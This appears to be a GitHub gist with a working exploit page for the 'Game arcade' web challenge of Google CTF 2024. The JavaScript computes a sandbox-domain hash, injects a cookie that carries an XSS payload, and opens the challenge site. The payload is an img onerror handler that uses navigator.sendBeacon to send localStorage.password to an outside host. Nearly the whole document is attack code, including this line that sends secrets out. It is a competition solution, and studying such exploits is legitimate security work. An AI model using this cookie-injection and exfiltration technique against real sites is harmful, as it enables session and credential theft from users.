Created
June 23, 2024 18:05
-
-
Save betrisey/353a48c614c6359d9b0f37c622f05e13 to your computer and use it in GitHub Desktop.
Game arcade - Google CTF 2024
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<script> | |
function arrayToBase36(arr) { | |
return arr | |
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0)) | |
.toString(36); | |
} | |
function concatBuffers(...buffers) { | |
let length = 0; | |
for (const buf of buffers) { | |
length += buf.byteLength; | |
} | |
const newBuf = new Uint8Array(length); | |
let offset = 0; | |
for (const buf of buffers) { | |
newBuf.set(new Uint8Array(buf), offset); | |
offset += buf.byteLength; | |
} | |
return newBuf.buffer; | |
} | |
async function calculateHash(...parts) { | |
const encoder = new TextEncoder(); | |
const newParts = []; | |
for (let i = 0; i < parts.length; i++) { | |
const part = parts[i]; | |
if (typeof part === "string") { | |
newParts.push(encoder.encode(part).buffer); | |
} else { | |
newParts.push(part); | |
} | |
if (i < parts.length - 1) { | |
newParts.push(encoder.encode("$@#|").buffer); | |
} | |
} | |
const buffer = concatBuffers(...newParts); | |
const hash = await crypto.subtle.digest("SHA-256", buffer); | |
return arrayToBase36(new Uint8Array(hash)) | |
.padStart(50, "0") | |
.slice(0, 50); | |
} | |
(async function() { | |
if (!crypto.subtle) { | |
await import( | |
"https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js" | |
); | |
crypto.subtle = { | |
digest: async function (c, body) { | |
var hash = sha256.create(); | |
hash.update(body); | |
return hash.arrayBuffer(); | |
}, | |
}; | |
} | |
const mimeType = "text/html;charset=utf-8"; | |
const xss = `<img src=0 onerror="navigator.sendBeacon('https://sam.ninja/flag', localStorage.password)">`; | |
const body = ` | |
<script> | |
document.cookie="password=${escape(xss)};Domain=.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog"; | |
<`+`/`+`script> | |
`; | |
const product = "google-ctf"; | |
const hash = await calculateHash(product, body, window.origin); | |
const url = new URL( | |
`http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html` | |
); | |
url.searchParams.set("origin", window.origin); | |
url.searchParams.set("cache", "1"); | |
const safeWindow = window.open(url, "_blank"); | |
const loadedPromise = new Promise((resolve) => { | |
const interval = setInterval(() => { | |
const messageChannel = new MessageChannel(); | |
messageChannel.port1.onmessage = () => { | |
resolve(); | |
clearInterval(interval); | |
}; | |
safeWindow.postMessage(1, url.origin, [messageChannel.port2]); | |
}, 100); | |
}); | |
loadedPromise.then(() => { | |
const messageChannel = new MessageChannel(); | |
messageChannel.port1.onmessage = (e) => { | |
console.log(e.data); | |
}; | |
safeWindow.postMessage( | |
{ body, mimeType, salt: new TextEncoder().encode(body).buffer }, | |
url.origin, | |
[messageChannel.port2] | |
); | |
}); | |
setTimeout(() => { | |
open("https://game-arcade-web.2024.ctfcompetition.com/#1"); | |
}, 2000); | |
})(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment